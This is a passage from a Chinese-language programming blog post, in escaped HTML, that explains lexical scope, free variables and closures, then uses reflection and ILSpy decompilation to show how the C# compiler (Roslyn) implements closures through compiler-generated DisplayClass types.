class\u003c/code\u003e\u003c/p\u003e\u003cp\u003e为了弄清楚\u003ccode\u003eDisplayClass\u003c/code\u003e到底是什么东西,先得了解几个概念\u003c/p\u003e\u003cp\u003e打开维基百科*,一句一句地看\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e*注:英文。维护维基中文的一帮人就是群憨批。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"作用域\"\u003e作用域\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eIn programming languages, a closure, also lexical closure or function closure, is a technique for implementing \u003cstrong\u003elexically scoped\u003c/strong\u003e name binding in a language with first-class functions.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e平常总是说作用域作用域什么的,好像都能理解。但是一说到定义就很模糊了。恰巧,要深刻理解闭包,正要深刻理解作用域,这里就稍稍明晰一下作用域的概念\u003c/p\u003e\u003cp\u003e此处尝试写了点东西,发现自己说得不太清楚,还是放几个传送门把。\u003cbr/\u003e看的时候不要以“js是这么干的”或者“python是这么干的”这么想,要以“编程是这么干的”这种思路看。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope_vs._dynamic_scope\"\u003eScope\u003c/a\u003e\u003cbr/\u003e\u003ca href=\"https://github.com/getify/You-Dont-Know-JS/blob/1st-ed/scope%20%26%20closures/ch1.md#enginescope-conversation\"\u003eYouDontKnowJS\u003c/a\u003e\u003c/p\u003e\u003cp\u003e关于词法作用域与动态作用域再说一点。同样举个\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 在某一变量b的作用域内,不管它是全局变量还是啥 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a+b\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ec = \u003cspan class=\"number\"\u003e5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ef(c)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于函数\u003ccode\u003ef\u003c/code\u003e的\u003cstrong\u003e定义\u003c/strong\u003e来说,b的这个作用域就是“词法作用域”,而对于函数\u003ccode\u003ef\u003c/code\u003e的\u003cstrong\u003e调用\u003c/strong\u003e\u003ccode\u003ef(c)\u003c/code\u003e来说,c的这个作用域就是“动态作用域”。\u003cbr/\u003e其实顾名思义,词法作用域是词法决定的,动态作用域是运行时决定的,这句话说得挺准确的,但是的确不太好理解。\u003c/p\u003e\u003cp\u003eQ: “\u003ccode\u003ef(c)\u003c/code\u003e不也是程序编写的时候就写好的?”A: “它不是\u003cstrong\u003e词法\u003c/strong\u003e决定的”\u003c/p\u003e\u003ch3 id=\"自由变量\"\u003e自由变量\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eOperationally, a closure is a record storing a function together with an environment. The environment is a mapping associating each free variable of the function (variables that are used locally, but defined in an enclosing scope) with the value or reference to which the name was bound when the closure was created.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e从这句话中,我们看到了“free variable”一词。我们用python实例来说明“free variable”\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eIn [\u003cspan class=\"number\"\u003e1\u003c/span\u003e]: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eg\u003c/span\u003e(\u003cspan class=\"params\"\u003eb\u003c/span\u003e):\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a+b \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...: \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e g \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eIn [\u003cspan class=\"number\"\u003e2\u003c/span\u003e]: f(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)(\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eOut[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]: \u003cspan class=\"number\"\u003e3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e除去函数,这里涉及到了\u003ccode\u003ea\u003c/code\u003e, \u003ccode\u003eb\u003c/code\u003e两个变量。对于函数\u003ccode\u003ef\u003c/code\u003e来说,\u003ccode\u003ea\u003c/code\u003e是它的参数,但函数\u003ccode\u003eg\u003c/code\u003e却完全在\u003ccode\u003ea\u003c/code\u003e的作用域(此处即函数\u003ccode\u003ef\u003c/code\u003e的函数体)内。此时,\u003ccode\u003eg\u003c/code\u003e的自由变量就是\u003ccode\u003ea\u003c/code\u003e。\u003cbr/\u003e回头看一眼\u0026#34;free variable\u0026#34;的wiki:In computer programming, the term \u003cstrong\u003efree variable\u003c/strong\u003e refers to variables used in a function that are neither local variables nor parameters of that function. The term non-local variable is often a synonym in this context.\u003c/p\u003e\u003cp\u003e举一个极端点的例子:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ef\u003c/span\u003e(\u003cspan class=\"params\"\u003ea\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eg\u003c/span\u003e(\u003cspan class=\"params\"\u003eb\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e use a\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eh\u003c/span\u003e(\u003cspan class=\"params\"\u003ec\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e use a \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e b\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ei\u003c/span\u003e(\u003cspan class=\"params\"\u003ed\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e use a \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e b \u003cspan class=\"keyword\"\u003eand\u003c/span\u003e c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ej\u003c/span\u003e(\u003cspan class=\"params\"\u003ee\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e use d\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于\u003ccode\u003eg\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e是自由变量,而对于\u003ccode\u003ef\u003c/code\u003e不是;对于\u003ccode\u003eh\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e、\u003ccode\u003eb\u003c/code\u003e是自由变量,而对于\u003ccode\u003eg\u003c/code\u003e来说\u003ccode\u003eb\u003c/code\u003e不是;对于\u003ccode\u003ei\u003c/code\u003e来说\u003ccode\u003ea\u003c/code\u003e、\u003ccode\u003eb\u003c/code\u003e、\u003ccode\u003ec\u003c/code\u003e是自由变量等等等等等。\u003c/p\u003e\u003ch3 id=\"闭包\"\u003e闭包\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eUnlike a plain function, a closure allows the function to access those captured variables through the closure’s copies of their values or references, even when the function is invoked outside their scope.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e如果明白了上面的,也就好理解这句话了。它们已经在闭包内了。你要有一个闭包,就必有前面的哪些自由变量。这个闭包又必在这些自由变量的作用域内。我们再看上面的话,不就是在说\u003ccode\u003e闭包就是一个用到了不是局部变量的函数\u003c/code\u003e罢了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e闭包一词经常和匿名函数混淆。这可能是因为两者经常同时使用,但是它们是不同的概念。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e定义域?作用域?\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e感觉说了一堆废话就为了说一个挺直白的概念\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"匿名函数\"\u003e匿名函数\u003c/h3\u003e\u003cp\u003e理解了闭包,我们再来看匿名函数。\u003cbr/\u003e一个匿名函数是否构成闭包,取决于它\u003cstrong\u003e有没有捕获外部变量\u003c/strong\u003e。如何理解呢?那就先请出主角:rosyln\u003c/p\u003e\u003cp\u003e那么,清楚了闭包的概念,rosyln是如何处理闭包的呢?这就是\u003ccode\u003eDisplayClass\u003c/code\u003e上来的地方了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e根据StackOverflow上的某个答案(翻不到了,Chrome tab开太多了),\u003ccode\u003eDisplayClass\u003c/code\u003e是rosyln的一个命名失误。它本来应该叫\u003ccode\u003eClosureClass\u003c/code\u003e\u003cbr/\u003e\u003cs\u003e憨批Microsoft\u003c/s\u003e Microsoft NB\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e也就是说,rosyln试图将所有的闭包都单独放到一个类中,给它们创建单独的作用域环境。如此以来,只要找到这个闭包使用到的所有自由变量,在运行时(动态作用域下)将这些自由变量放到这个新的类里头,就可以轻松地给C#加上闭包的支持。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为什么说“加上”呢?C#2.0正式支持匿名函数,C#3.0支持lambda,而Local Functions直到C#7.0才支持,也就是可以说C#2.0正式支持了闭包。\u003cbr/\u003eFrom Microsoft docs: C# version 2.0 introduced the concept of anonymous methods, which allow code blocks to be passed as parameters in place of a separately defined method. C# 3.0 introduced lambda expressions as a more concise way of writing inline code blocks. Both anonymous methods and lambda expressions (in certain contexts) are compiled to delegate types. Together, these features are now known as anonymous functions. For more information about lambda expressions, see Lambda expressions.\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我们来做一些实验:\u003c/p\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Collections.Generic;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Linq;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Reflection;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e \u003cspan class=\"title\"\u003eTest\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eProgram\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eMain\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Action f = () =\u0026gt; { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; };\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e f ();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Assembly asm = Assembly.GetAssembly (\u003cspan class=\"keyword\"\u003etypeof\u003c/span\u003e (Program));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e IList\u0026lt;Type\u0026gt; classes = asm.GetTypes ()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .Where (x =\u0026gt; x.IsClass)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .ToList ();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e classes) Console.WriteLine (i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的程序中创建了一个没有传入参数,没有返回值的匿名函数\u003c/p\u003e\u003cp\u003e由于匿名函数没有捕获其所在作用域内的任何变量,故这个函数\u003cstrong\u003e不构成闭包\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u0026lt;\u0026gt;c不是我们关心的东西\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eMain\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Func\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt; f = () =\u0026gt; a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e f ();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Assembly asm = Assembly.GetAssembly (\u003cspan class=\"keyword\"\u003etypeof\u003c/span\u003e (Program));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c__DisplayClass0_0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对上面的程序做略微的修改,这个匿名函数现在使用了在\u003ccode\u003eMain\u003c/code\u003e函数中的变量\u003ccode\u003ea\u003c/code\u003e,\u003cstrong\u003e构成了闭包\u003c/strong\u003e,同时我们能看到出现了一个名叫\u003ccode\u003eProgram+\u0026lt;\u0026gt;c__DisplayClass0_0\u003c/code\u003e的类。\u003c/p\u003e\u003cp\u003e打开反编译器,让我们康康它到底是个啥。\u003c/p\u003e\u003cp\u003e默认情况下,ILSpy会忽略掉编译器生成的各种东西,那既然我们知道匿名函数是C#2.0出来的东西,那我们就照着C#1.0来逆,ILSpy就会不知道该咋办从而显示出来了\u003c/p\u003e\u003cp\u003e貌似windows上Ilspy GUI里头还有显示Compiler Generated的选项。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eilspycmd output.dll -lv CSharp1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in namespace Test :\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[\u003cspan class=\"meta\"\u003eCompilerGenerated\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"keyword\"\u003esealed\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u0026lt;\u0026gt;\u003cspan class=\"title\"\u003ec__DisplayClass0_0\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003einternal\u003c/span\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e \u0026lt;Main\u0026gt;b__0() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in function Main() :\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eProgram.\u0026lt;\u0026gt;c__DisplayClass0_0 CS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1 = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Program.\u0026lt;\u0026gt;c__DisplayClass0_0();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1.a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eFunc\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt; f = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Func\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt;(CS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1.\u0026lt;Main\u0026gt;b__0);\u003c/span\u003e\u003cbr/\u003e\u003cspan 